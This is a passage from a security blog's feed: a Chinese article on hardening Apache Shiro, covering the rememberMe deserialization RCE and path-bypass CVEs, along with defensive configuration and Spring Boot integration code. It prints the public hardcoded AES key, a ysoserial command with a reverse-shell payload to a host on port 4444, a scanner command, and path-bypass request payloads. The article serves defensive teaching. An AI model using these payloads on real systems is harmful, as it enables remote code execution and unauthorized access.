xml:base="https://djiangliu.github.io/java%E5%AE%89%E5%85%A8/shiro/2026/05/08/Apache-Shiro%E5%AE%89%E5%85%A8%E9%85%8D%E7%BD%AE%E4%B8%8E%E9%98%B2%E6%8A%A4%E5%AE%9E%E8%B7%B5/"><![CDATA[<h1 id="apache-shiro-安全配置与防护实践">Apache Shiro 安全配置与防护实践</h1>

<p>Apache Shiro 因其轻量级和 API 简洁广受青睐，但从 2016 年的 rememberMe RCE (CVSS 9.8) 到 2023 年的路径绕过，历史上的漏洞均属于”一击必杀”级别。</p>

<blockquote>
  <p>本文是 <a href="/2026/05/07/java-web-auth-overview/">Java Web 认证授权安全系列</a> 的第三篇。</p>
</blockquote>

<hr />

<h2 id="31-rememberme-反序列化-rcecve-2016-4437cvss-98">3.1 rememberMe 反序列化 RCE（CVE-2016-4437，CVSS 9.8）</h2>

<p>这是 Shiro 最臭名昭著的漏洞，至今仍有公网系统未修复。</p>

<p><strong>漏洞原理</strong>：Shiro 1.2.4 及之前版本的 rememberMe 功能使用 <strong>硬编码的 AES 密钥</strong>：</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Shiro 1.2.4 源码 — 全网公开的硬编码密钥</span>
<span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="kt">byte</span><span class="o">[]</span> <span class="no">DEFAULT_CIPHER_KEY_BYTES</span> <span class="o">=</span> 
    <span class="nc">Base64</span><span class="o">.</span><span class="na">decode</span><span class="o">(</span><span class="s">"kPH+bIxk5D2deZiIxcaaaA=="</span><span class="o">);</span>
</code></pre></div></div>

<p><strong>攻击链</strong>：</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. 攻击者使用已知密钥加密恶意序列化对象（CommonsCollections 链）
2. 将 payload 作为 rememberMe Cookie 发送
3. Shiro 解密 → 反序列化 → RCE
</code></pre></div></div>

<p><strong>利用工具</strong>：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># ysoserial 生成 payload</span>
java <span class="nt">-cp</span> ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections2 <span class="se">\</span>
  <span class="s2">"bash -c 'bash -i &gt;&amp; /dev/tcp/10.0.0.1/4444 0&gt;&amp;1'"</span>

<span class="c"># Shiro 漏洞检测</span>
python3 shiro_attack.py <span class="nt">-u</span> https://target.com <span class="nt">-k</span> <span class="s2">"kPH+bIxk5D2deZiIxcaaaA=="</span>
</code></pre></div></div>

<p><strong>SHIRO-721（Padding Oracle 攻击）</strong>：即使配置了自定义密钥（1.2.5 ~ 1.4.1），攻击者仍可通过 AES-CBC Padding Oracle 构造恶意 Cookie，无需知道密钥。影响版本 &lt; 1.4.2。</p>

<p><strong>防御</strong>：</p>

<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># shiro.ini — 禁用 rememberMe
</span><span class="nn">[main]</span>
<span class="py">securityManager.rememberMeManager</span> <span class="p">=</span> <span class="s">null</span>
</code></pre></div></div>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Java Config — 使用随机强密钥</span>
<span class="nd">@Bean</span>
<span class="kd">public</span> <span class="nc">RememberMeManager</span> <span class="nf">rememberMeManager</span><span class="o">()</span> <span class="o">{</span>
    <span class="nc">CookieRememberMeManager</span> <span class="n">manager</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">CookieRememberMeManager</span><span class="o">();</span>
    <span class="nc">KeyGenerator</span> <span class="n">keyGen</span> <span class="o">=</span> <span class="nc">KeyGenerator</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="s">"AES"</span><span class="o">);</span>
    <span class="n">keyGen</span><span class="o">.</span><span class="na">init</span><span class="o">(</span><span class="mi">256</span><span class="o">);</span>
    <span class="n">manager</span><span class="o">.</span><span class="na">setCipherKey</span><span class="o">(</span><span class="n">keyGen</span><span class="o">.</span><span class="na">generateKey</span><span class="o">().</span><span class="na">getEncoded</span><span class="o">());</span>
    <span class="k">return</span> <span class="n">manager</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<p><strong>必须升级到 Shiro 1.13.0+ 或 2.0.0-alpha-4+</strong>。</p>

<hr />

<h2 id="32-路径鉴权绕过系列">3.2 路径鉴权绕过系列</h2>

<p>Shiro 的路径匹配与 Spring/Tomcat 解析不一致，导致了一系列绕过：</p>

<table>
  <thead>
    <tr>
      <th>CVE</th>
      <th>版本</th>
      <th>Payload</th>
      <th>原理</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>CVE-2020-1957</td>
      <td>&lt; 1.5.2</td>
      <td><code class="language-plaintext highlighter-rouge">/admin/..;/</code></td>
      <td><code class="language-plaintext highlighter-rouge">..;</code> 解析差异</td>
    </tr>
    <tr>
      <td>CVE-2020-11989</td>
      <td>&lt; 1.5.3</td>
      <td><code class="language-plaintext highlighter-rouge">/admin/page%2f</code></td>
      <td>编码斜杠</td>
    </tr>
    <tr>
      <td>CVE-2020-13933</td>
      <td>&lt; 1.6.0</td>
      <td><code class="language-plaintext highlighter-rouge">/admin/%3bindex</code></td>
      <td>分号编码</td>
    </tr>
    <tr>
      <td>CVE-2020-17523</td>
      <td>&lt; 1.7.1</td>
      <td><code class="language-plaintext highlighter-rouge">/admin/%20/</code></td>
      <td>空格编码</td>
    </tr>
    <tr>
      <td>CVE-2021-41303</td>
      <td>&lt; 1.8.0</td>
      <td><code class="language-plaintext highlighter-rouge">/admin/a%2e%2e%2f</code></td>
      <td>双重编码</td>
    </tr>
    <tr>
      <td>CVE-2022-32532</td>
      <td>&lt; 1.9.1</td>
      <td><code class="language-plaintext highlighter-rouge">/admin/;/</code></td>
      <td>正则绕过</td>
    </tr>
    <tr>
      <td>CVE-2023-22602</td>
      <td>&lt; 1.11.0</td>
      <td><code class="language-plaintext highlighter-rouge">/admin/%0d</code></td>
      <td>换行符</td>
    </tr>
  </tbody>
</table>

<p><strong>通用 Payload</strong>：</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">GET</span> <span class="nn">/admin/;/users</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="s">GET /admin;.js HTTP/1.1</span>
<span class="s">GET /admin%2fusers HTTP/1.1</span>
<span class="s">GET /public/../admin/users HTTP/1.1</span>
</code></pre></div></div>

<p><strong>防御</strong>：升级到 Shiro 1.11.0+，启用路径规范化。</p>

<hr />

<h2 id="33-shiro-安全配置推荐">3.3 Shiro 安全配置推荐</h2>

<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># shiro.ini
</span><span class="nn">[main]</span>
<span class="py">securityManager.rememberMeManager</span> <span class="p">=</span> <span class="s">null  # 或使用随机强密钥</span>
<span class="py">securityManager.sessionManager.sessionIdCookie.secure</span> <span class="p">=</span> <span class="s">true</span>
<span class="py">securityManager.sessionManager.sessionIdCookie.httpOnly</span> <span class="p">=</span> <span class="s">true</span>
<span class="py">securityManager.sessionManager.sessionIdCookie.sameSite</span> <span class="p">=</span> <span class="s">Strict</span>
<span class="py">securityManager.sessionManager.globalSessionTimeout</span> <span class="p">=</span> <span class="s">1800000</span>

<span class="nn">[urls]</span>
<span class="err">/</span><span class="py">login</span> <span class="p">=</span> <span class="s">anon</span>
<span class="err">/</span><span class="py">logout</span> <span class="p">=</span> <span class="s">logout</span>
<span class="err">/api/public/**</span> <span class="err">=</span> <span class="err">anon</span>
<span class="err">/api/admin/**</span> <span class="err">=</span> <span class="err">authc,</span> <span class="err">roles</span><span class="nn">[admin]</span>
<span class="err">/api/user/**</span> <span class="err">=</span> <span class="err">authc</span>
<span class="err">/**</span> <span class="err">=</span> <span class="err">authc</span>
</code></pre></div></div>

<hr />

<h2 id="34-shiro--spring-boot-完整集成补充">3.4 Shiro + Spring Boot 完整集成（补充）</h2>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Configuration</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">ShiroConfig</span> <span class="o">{</span>

    <span class="nd">@Bean</span>
    <span class="kd">public</span> <span class="nc">ShiroFilterFactoryBean</span> <span class="nf">shiroFilter</span><span class="o">(</span><span class="nc">SecurityManager</span> <span class="n">securityManager</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">ShiroFilterFactoryBean</span> <span class="n">factory</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ShiroFilterFactoryBean</span><span class="o">();</span>
        <span class="n">factory</span><span class="o">.</span><span class="na">setSecurityManager</span><span class="o">(</span><span class="n">securityManager</span><span class="o">);</span>
        <span class="n">factory</span><span class="o">.</span><span class="na">setLoginUrl</span><span class="o">(</span><span class="s">"/login"</span><span class="o">);</span>
        <span class="n">factory</span><span class="o">.</span><span class="na">setUnauthorizedUrl</span><span class="o">(</span><span class="s">"/403"</span><span class="o">);</span>

        <span class="c1">// 过滤器链 — 顺序敏感，精细在前</span>
        <span class="nc">Map</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">String</span><span class="o">&gt;</span> <span class="n">filterChain</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">LinkedHashMap</span><span class="o">&lt;&gt;();</span>
        <span class="n">filterChain</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"/login"</span><span class="o">,</span> <span class="s">"anon"</span><span class="o">);</span>
        <span class="n">filterChain</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"/api/public/**"</span><span class="o">,</span> <span class="s">"anon"</span><span class="o">);</span>
        <span class="n">filterChain</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"/api/admin/**"</span><span class="o">,</span> <span class="s">"authc,roles[admin]"</span><span class="o">);</span>
        <span class="n">filterChain</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"/api/user/**"</span><span class="o">,</span> <span class="s">"authc"</span><span class="o">);</span>
        <span class="n">filterChain</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"/**"</span><span class="o">,</span> <span class="s">"authc"</span><span class="o">);</span>
        <span class="n">factory</span><span class="o">.</span><span class="na">setFilterChainDefinitionMap</span><span class="o">(</span><span class="n">filterChain</span><span class="o">);</span>
        <span class="k">return</span> <span class="n">factory</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="nd">@Bean</span>
    <span class="kd">public</span> <span class="nc">DefaultWebSecurityManager</span> <span class="nf">securityManager</span><span class="o">(</span><span class="nc">MyRealm</span> <span class="n">realm</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">DefaultWebSecurityManager</span> <span class="n">manager</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DefaultWebSecurityManager</span><span class="o">();</span>
        <span class="n">manager</span><span class="o">.</span><span class="na">setRealm</span><span class="o">(</span><span class="n">realm</span><span class="o">);</span>
        <span class="c1">// 关键：禁用或加固 rememberMe</span>
        <span class="n">manager</span><span class="o">.</span><span class="na">setRememberMeManager</span><span class="o">(</span><span class="kc">null</span><span class="o">);</span>
        <span class="k">return</span> <span class="n">manager</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="nd">@Bean</span>
    <span class="kd">public</span> <span class="nc">MyRealm</span> <span class="nf">myRealm</span><span class="o">()</span> <span class="o">{</span>
        <span class="nc">MyRealm</span> <span class="n">realm</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">MyRealm</span><span class="o">();</span>
        <span class="n">realm</span><span class="o">.</span><span class="na">setCredentialsMatcher</span><span class="o">(</span><span class="n">hashedCredentialsMatcher</span><span class="o">());</span>
        <span class="k">return</span> <span class="n">realm</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="nd">@Bean</span>
    <span class="kd">public</span> <span class="nc">HashedCredentialsMatcher</span> <span class="nf">hashedCredentialsMatcher</span><span class="o">()</span> <span class="o">{</span>
        <span class="nc">HashedCredentialsMatcher</span> <span class="n">matcher</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HashedCredentialsMatcher</span><span class="o">();</span>
        <span class="n">matcher</span><span class="o">.</span><span class="na">setHashAlgorithmName</span><span class="o">(</span><span class="s">"SHA-256"</span><span class="o">);</span>
        <span class="n">matcher</span><span class="o">.</span><span class="na">setHashIterations</span><span class="o">(</span><span class="mi">1024</span><span class="o">);</span>
        <span class="n">matcher</span><span class="o">.</span><span class="na">setStoredCredentialsHexEncoded</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span>
        <span class="k">return</span> <span class="n">matcher</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<hr />

<h2 id="35-自定义-realm-实现补充">3.5 自定义 Realm 实现（补充）</h2>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">class</span> <span class="nc">MyRealm</span> <span class="kd">extends</span> <span class="nc">AuthorizingRealm</span> <span class="o">{</span>

    <span class="nd">@Autowired</span>
    <span class="kd">private</span> <span class="nc">UserService</span> <span class="n">userService</span><span class="o">;</span>
    <span class="nd">@Autowired</span>
    <span class="kd">private</span> <span class="nc">PermissionService</span> <span class="n">permissionService</span><span class="o">;</span>

    <span class="c1">// 认证：验证用户名密码</span>
    <span class="nd">@Override</span>
    <span class="kd">protected</span> <span class="nc">AuthenticationInfo</span> <span class="nf">doGetAuthenticationInfo</span><span class="o">(</span>
            <span class="nc">AuthenticationToken</span> <span class="n">token</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">AuthenticationException</span> <span class="o">{</span>
        
        <span class="nc">String</span> <span class="n">username</span> <span class="o">=</span> <span class="o">(</span><span class="nc">String</span><span class="o">)</span> <span class="n">token</span><span class="o">.</span><span class="na">getPrincipal</span><span class="o">();</span>
        <span class="nc">User</span> <span class="n">user</span> <span class="o">=</span> <span class="n">userService</span><span class="o">.</span><span class="na">findByUsername</span><span class="o">(</span><span class="n">username</span><span class="o">);</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">user</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">throw</span> <span class="k">new</span> <span class="nf">UnknownAccountException</span><span class="o">(</span><span class="s">"用户不存在"</span><span class="o">);</span>
        <span class="o">}</span>
        <span class="k">if</span> <span class="o">(!</span><span class="n">user</span><span class="o">.</span><span class="na">isEnabled</span><span class="o">())</span> <span class="o">{</span>
            <span class="k">throw</span> <span class="k">new</span> <span class="nf">LockedAccountException</span><span class="o">(</span><span class="s">"账号已禁用"</span><span class="o">);</span>
        <span class="o">}</span>
        
        <span class="c1">// 返回认证信息，Shiro 自动校验密码</span>
        <span class="k">return</span> <span class="k">new</span> <span class="nf">SimpleAuthenticationInfo</span><span class="o">(</span>
            <span class="n">user</span><span class="o">,</span>                    <span class="c1">// principal</span>
            <span class="n">user</span><span class="o">.</span><span class="na">getPassword</span><span class="o">(),</span>      <span class="c1">// hashed password</span>
            <span class="nc">ByteSource</span><span class="o">.</span><span class="na">Util</span><span class="o">.</span><span class="na">bytes</span><span class="o">(</span><span class="n">user</span><span class="o">.</span><span class="na">getSalt</span><span class="o">()),</span>
            <span class="n">getName</span><span class="o">()</span>                <span class="c1">// realm name</span>
        <span class="o">);</span>
    <span class="o">}</span>

    <span class="c1">// 授权：加载用户权限和角色</span>
    <span class="nd">@Override</span>
    <span class="kd">protected</span> <span class="nc">AuthorizationInfo</span> <span class="nf">doGetAuthorizationInfo</span><span class="o">(</span>
            <span class="nc">PrincipalCollection</span> <span class="n">principals</span><span class="o">)</span> <span class="o">{</span>
        
        <span class="nc">User</span> <span class="n">user</span> <span class="o">=</span> <span class="o">(</span><span class="nc">User</span><span class="o">)</span> <span class="n">principals</span><span class="o">.</span><span class="na">getPrimaryPrincipal</span><span class="o">();</span>
        <span class="nc">SimpleAuthorizationInfo</span> <span class="n">info</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">SimpleAuthorizationInfo</span><span class="o">();</span>
        
        <span class="c1">// 角色</span>
        <span class="nc">Set</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">&gt;</span> <span class="n">roles</span> <span class="o">=</span> <span class="n">userService</span><span class="o">.</span><span class="na">getRoles</span><span class="o">(</span><span class="n">user</span><span class="o">.</span><span class="na">getId</span><span class="o">());</span>
        <span class="n">info</span><span class="o">.</span><span class="na">setRoles</span><span class="o">(</span><span class="n">roles</span><span class="o">);</span>
        
        <span class="c1">// 权限字符串</span>
        <span class="nc">Set</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">&gt;</span> <span class="n">permissions</span> <span class="o">=</span> <span class="n">permissionService</span><span class="o">.</span><span class="na">getPermissions</span><span class="o">(</span><span class="n">user</span><span class="o">.</span><span class="na">getId</span><span class="o">());</span>
        <span class="n">info</span><span class="o">.</span><span class="na">setStringPermissions</span><span class="o">(</span><span class="n">permissions</span><span class="o">);</span>
        
        <span class="k">return</span> <span class="n">info</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p><strong>使用注解</strong>：</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@RestController</span>
<span class="nd">@RequestMapping</span><span class="o">(</span><span class="s">"/api/admin"</span><span class="o">)</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">AdminController</span> <span class="o">{</span>

    <span class="nd">@RequiresRoles</span><span class="o">(</span><span class="s">"admin"</span><span class="o">)</span>
    <span class="nd">@GetMapping</span><span class="o">(</span><span class="s">"/users"</span><span class="o">)</span>
    <span class="kd">public</span> <span class="nc">List</span><span class="o">&lt;</span><span class="nc">User</span><span class="o">&gt;</span> <span class="nf">getUsers</span><span class="o">()</span> <span class="o">{</span> <span class="o">}</span>

    <span class="nd">@RequiresPermissions</span><span class="o">(</span><span class="s">"circle:admin:delete"</span><span class="o">)</span>
    <span class="nd">@DeleteMapping</span><span class="o">(</span><span class="s">"/circle/{id}"</span><span class="o">)</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">deleteCircle</span><span class="o">(</span><span class="nd">@PathVariable</span> <span class="nc">Long</span> <span class="n">id</span><span class="o">)</span> <span class="o">{</span> <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<hr />

<h2 id="36-shiro-vs-spring-security-选型对比补充">3.6 Shiro vs Spring Security 选型对比（补充）</h2>

<table>
  <thead>
    <tr>
      <th>维度</th>
      <th>Apache Shiro</th>
      <th>Spring Security</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>学习曲线</strong></td>
      <td>低，配置直观</td>
      <td>高，概念多</td>
    </tr>
    <tr>
      <td><strong>Spring 集成</strong></td>
      <td>需额外配置</td>
      <td>原生集成</td>
    </tr>
    <tr>
      <td><strong>粒度</strong></td>
      <td>URL 级别为主</td>
      <td>URL + 方法 + 资源实例</td>
    </tr>
    <tr>
      <td><strong>Session 管理</strong></td>
      <td>内置，成熟</td>
      <td>依赖 Spring Session</td>
    </tr>
    <tr>
      <td><strong>OAuth2/OIDC</strong></td>
      <td>需第三方扩展</td>
      <td>开箱即用</td>
    </tr>
    <tr>
      <td><strong>社区生态</strong></td>
      <td>较小</td>
      <td>极其庞大</td>
    </tr>
    <tr>
      <td><strong>更新频率</strong></td>
      <td>较慢</td>
      <td>非常活跃</td>
    </tr>
    <tr>
      <td><strong>历史漏洞</strong></td>
      <td>rememberMe RCE(9.8)、路径绕过</td>
      <td>BCrypt 截断(7.5)、Actuator 绕过(7.3)</td>
    </tr>
    <tr>
      <td><strong>适用场景</strong></td>
      <td>非 Spring 项目、遗留系统、简单权限模型</td>
      <td>Spring 项目、微服务、OAuth2</td>
    </tr>
  </tbody>
</table>

<p><strong>选型建议</strong>：</p>

<table>
  <thead>
    <tr>
      <th>场景</th>
      <th>推荐</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>新项目、Spring Boot 技术栈</td>
      <td>Spring Security</td>
    </tr>
    <tr>
      <td>非 Spring 项目（纯 Servlet）</td>
      <td>Apache Shiro</td>
    </tr>
    <tr>
      <td>需要 OAuth2 / SAML / OIDC</td>
      <td>Spring Security</td>
    </tr>
    <tr>
      <td>简单权限模型 + 快速集成</td>
      <td>Apache Shiro</td>
    </tr>
    <tr>
      <td>遗留 Shiro 项目</td>
      <td>升级到最新版本 + 加固配置</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="总结">总结</h2>

<p>Shiro 的安全防护核心就两点：</p>

<ol>
  <li><strong>版本</strong>：1.2.4 的 rememberMe RCE 是 CVSS 9.8 级别，必须升级</li>
  <li><strong>路径</strong>：Shiro 的路径匹配与 Spring 不一致是绕过的根源，升级 + 路径规范化是正解</li>
</ol>

<p>如果系统使用 Shiro，立即检查版本号 — 低于 1.11.0 的路径绕过能被自动化扫描工具在 5 分钟内发现。</p>

<hr />

<p><strong>系列文章</strong>：</p>
<ul>
  <li><a href="/2026/05/07/java-web-auth-overview/">概览篇</a></li>
  <li><a href="/2026/05/08/spring-security-security-practice/">Spring Security 安全配置篇</a></li>
  <li><a href="/2026/05/08/jwt-security-practice/">JWT 认证安全篇</a></li>
  <li><a href="/2026/05/08/java-web-auth-bypass/">鉴权绕过模式篇</a></li>
  <li><a href="/2026/05/08/java-session-redis-auth/">会话管理与 Redis 认证篇</a></li>
</ul>]]></content><author><name>江流</name></author><category term="Java安全" /><category term="Shiro" /><category term="Apache Shiro" /><category term="认证授权" /><category term="rememberMe" /><category term="反序列化" /><category term="路径绕过" /><category term="代码审计" /><summary type="html"><![CDATA[Apache Shiro 安全配置与防护实践 Apache Shiro 因其轻量级和 API 简洁广受青睐，但从 2016 年的 rememberMe RCE (CVSS 9.8) 到 2023 年的路径绕过，历史上的漏洞均属于”一击必杀”级别。 本文是 Java Web 认证授权安全系列 的第三篇。 3.1 rememberMe 反序列化 RCE（CVE-2016-4437，CVSS 9.8） 这是 Shiro 最臭名昭著的漏洞，至今仍有公网系统未修复。 漏洞原理：Shiro 1.2.4 及之前版本的 rememberMe 功能使用 硬编码的 AES 密钥： // Shiro 1.2.4 源码 — 全网公开的硬编码密钥 private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="); 攻击链： 1. 攻击者使用已知密钥加密恶意序列化对象（CommonsCollections 链） 2. 将 payload 作为 rememberMe Cookie 发送 3. Shiro 解密 → 反序列化 → RCE 利用工具： # ysoserial 生成 payload java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections2 \ "bash -c 'bash -i &gt;&amp; /dev/tcp/10.0.0.1/4444 0&gt;&amp;1'" # Shiro 漏洞检测 python3 shiro_attack.py -u https://target.com -k "kPH+bIxk5D2deZiIxcaaaA==" SHIRO-721（Padding Oracle 攻击）：即使配置了自定义密钥（1.2.5 ~ 1.4.1），攻击者仍可通过 AES-CBC Padding Oracle 构造恶意 Cookie，无需知道密钥。影响版本 &lt; 1.4.2。 防御： # shiro.ini — 禁用 rememberMe [main] securityManager.rememberMeManager = null // Java Config — 使用随机强密钥 @Bean public RememberMeManager rememberMeManager() { CookieRememberMeManager manager = new CookieRememberMeManager(); KeyGenerator keyGen = KeyGenerator.getInstance("AES"); keyGen.init(256); manager.setCipherKey(keyGen.generateKey().getEncoded()); return manager; } 必须升级到 Shiro 1.13.0+ 或 2.0.0-alpha-4+。 3.2 路径鉴权绕过系列 Shiro 的路径匹配与 Spring/Tomcat 解析不一致，导致了一系列绕过： CVE 版本 Payload 原理 CVE-2020-1957 &lt; 1.5.2 /admin/..;/ ..; 解析差异 CVE-2020-11989 &lt; 1.5.3 /admin/page%2f 编码斜杠 CVE-2020-13933 &lt; 1.6.0 /admin/%3bindex 分号编码 CVE-2020-17523 &lt; 1.7.1 /admin/%20/ 空格编码 CVE-2021-41303 &lt; 1.8.0 /admin/a%2e%2e%2f 双重编码 CVE-2022-32532 &lt; 1.9.1 /admin/;/ 正则绕过 CVE-2023-22602 &lt; 1.11.0 /admin/%0d 换行符 通用 Payload： GET /admin/;/users HTTP/1.1 GET /admin;.js HTTP/1.1 GET /admin%2fusers HTTP/1.1 GET /public/../admin/users HTTP/1.1 防御：升级到 Shiro 1.11.0+，启用路径规范化。 3.3 Shiro 安全配置推荐 # shiro.ini [main] securityManager.rememberMeManager = null # 或使用随机强密钥 securityManager.sessionManager.sessionIdCookie.secure = true securityManager.sessionManager.sessionIdCookie.httpOnly = true securityManager.sessionManager.sessionIdCookie.sameSite = Strict securityManager.sessionManager.globalSessionTimeout = 1800000 [urls] /login = anon /logout = logout /api/public/** = anon /api/admin/** = authc, roles[admin] /api/user/** = authc /** = authc 3.4 Shiro + Spring Boot 完整集成（补充） @Configuration public class ShiroConfig { @Bean public ShiroFilterFactoryBean shiroFilter(SecurityManager securityManager) { ShiroFilterFactoryBean factory = new ShiroFilterFactoryBean(); factory.setSecurityManager(securityManager); factory.setLoginUrl("/login"); factory.setUnauthorizedUrl("/403"); // 过滤器链 — 顺序敏感，精细在前 Map&lt;String, String&gt; filterChain = new LinkedHashMap&lt;&gt;(); filterChain.put("/login", "anon"); filterChain.put("/api/public/**", "anon"); filterChain.put("/api/admin/**", "authc,roles[admin]"); filterChain.put("/api/user/**", "authc"); filterChain.put("/**", "authc"); factory.setFilterChainDefinitionMap(filterChain); return factory; } @Bean public DefaultWebSecurityManager securityManager(MyRealm realm) { DefaultWebSecurityManager manager = new DefaultWebSecurityManager(); manager.setRealm(realm); // 关键：禁用或加固 rememberMe manager.setRememberMeManager(null); return manager; } @Bean public MyRealm myRealm() { MyRealm realm = new MyRealm(); realm.setCredentialsMatcher(hashedCredentialsMatcher()); return realm; } @Bean public HashedCredentialsMatcher hashedCredentialsMatcher() { HashedCredentialsMatcher matcher = new HashedCredentialsMatcher(); matcher.setHashAlgorithmName("SHA-256"); matcher.setHashIterations(1024); matcher.setStoredCredentialsHexEncoded(true); return matcher; } } 3.5 自定义 Realm 实现（补充） public class MyRealm extends AuthorizingRealm { @Autowired private UserService userService; @Autowired private PermissionService permissionService; // 认证：验证用户名密码 @Override protected AuthenticationInfo doGetAuthenticationInfo( AuthenticationToken token) throws AuthenticationException { String username = (String) token.getPrincipal(); User user = userService.findByUsername(username); if (user == null) { throw new UnknownAccountException("用户不存在"); } if (!user.isEnabled()) { throw new LockedAccountException("账号已禁用"); } // 返回认证信息，Shiro 自动校验密码 return new SimpleAuthenticationInfo( user, // principal user.getPassword(), // hashed password ByteSource.Util.bytes(user.getSalt()), getName() // realm name ); } // 授权：加载用户权限和角色 @Override protected AuthorizationInfo doGetAuthorizationInfo( PrincipalCollection principals) { User user = (User) principals.getPrimaryPrincipal(); SimpleAuthorizationInfo info = new SimpleAuthorizationInfo(); // 角色 Set&lt;String&gt; roles = userService.getRoles(user.getId()); info.setRoles(roles); // 权限字符串 Set&lt;String&gt; permissions = permissionService.getPermissions(user.getId()); info.setStringPermissions(permissions); return info; } } 使用注解： @RestController @RequestMapping("/api/admin") public class AdminController { @RequiresRoles("admin") @GetMapping("/users") public List&lt;User&gt; getUsers() { } @RequiresPermissions("circle:admin:delete") @DeleteMapping("/circle/{id}") public void deleteCircle(@PathVariable Long id) { } } 3.6 Shiro vs Spring Security 选型对比（补充） 维度 Apache Shiro Spring Security 学习曲线 低，配置直观 高，概念多 Spring 集成 需额外配置 原生集成 粒度 URL 级别为主 URL + 方法 + 资源实例 Session 管理 内置，成熟 依赖 Spring Session OAuth2/OIDC 需第三方扩展 开箱即用 社区生态 较小 极其庞大 更新频率 较慢 非常活跃 历史漏洞 rememberMe RCE(9.8)、路径绕过 BCrypt 截断(7.5)、Actuator 绕过(7.3) 适用场景 非 Spring 项目、遗留系统、简单权限模型 Spring 项目、微服务、OAuth2 选型建议： 场景 推荐 新项目、Spring Boot 技术栈 Spring Security 非 Spring 项目（纯 Servlet） Apache Shiro 需要 OAuth2 / SAML / OIDC Spring Security 简单权限模型 + 快速集成 Apache Shiro 遗留 Shiro 项目 升级到最新版本 + 加固配置 总结 Shiro 的安全防护核心就两点： 版本：1.2.4 的 rememberMe RCE 是 CVSS 9.8 级别，必须升级 路径：Shiro 的路径匹配与 Spring 不一致是绕过的根源，升级 + 路径规范化是正解 如果系统使用 Shiro，立即检查版本号 — 低于 1.11.0 的路径绕过能被自动化扫描工具在 5 分钟内发现。 系列文章： 概览篇 Spring Security 安全配置篇 JWT 认证安全篇 鉴权绕过模式篇 会话管理与 Redis 认证篇]]></summary></entry><entry><title type="html">Java Web 认证授权安全概览 — 框架识别、组件版本与审计清单</title><link href="https://djiangliu.github.io/java%E5%AE%89%E5%85%A8/web%E5%AE%89%E5%85%A8/2026/05/07/Java-Web%E8%AE%A4%E8%AF%81%E6%8E%88%E6%9D%83%E5%AE%89%E5%85%A8%E6%A6%82%E8%A7%88/" rel="alternate" type="text/html" title="Java Web 认证授权安全概览 — 框架识别、组件版本与审计清单" /><published>2026-05-07T02:00:00+00:00</published><updated>2026-05-07T02:00:00+00:00</updated><id>https://djiangliu.github.io/java%E5%AE%89%E5%85%A8/web%E5%AE%89%E5%85%A8/2026/05/07/Java%20Web%E8%AE%A4%E8%AF%81%E6%8E%88%E6%9D%83%E5%AE%89%E5%85%A8%E6%A6%82%E8%A7%88</id><content type="html" xml:base="https://djiangliu.github.io/java%E5%AE%89%E5%85%A8/web%E5%AE%89%E5%85%A8/2026/05/07/Java-Web%E8%AE%A4%E8%AF%81%E6%8E%88%E6%9D%83%E5%AE%89%E5%85%A8%E6%A6%82%E8%A7%88/"><![CDATA[<h1 id="java-web-认证授权安全概览">Java Web 认证授权安全概览</h1>

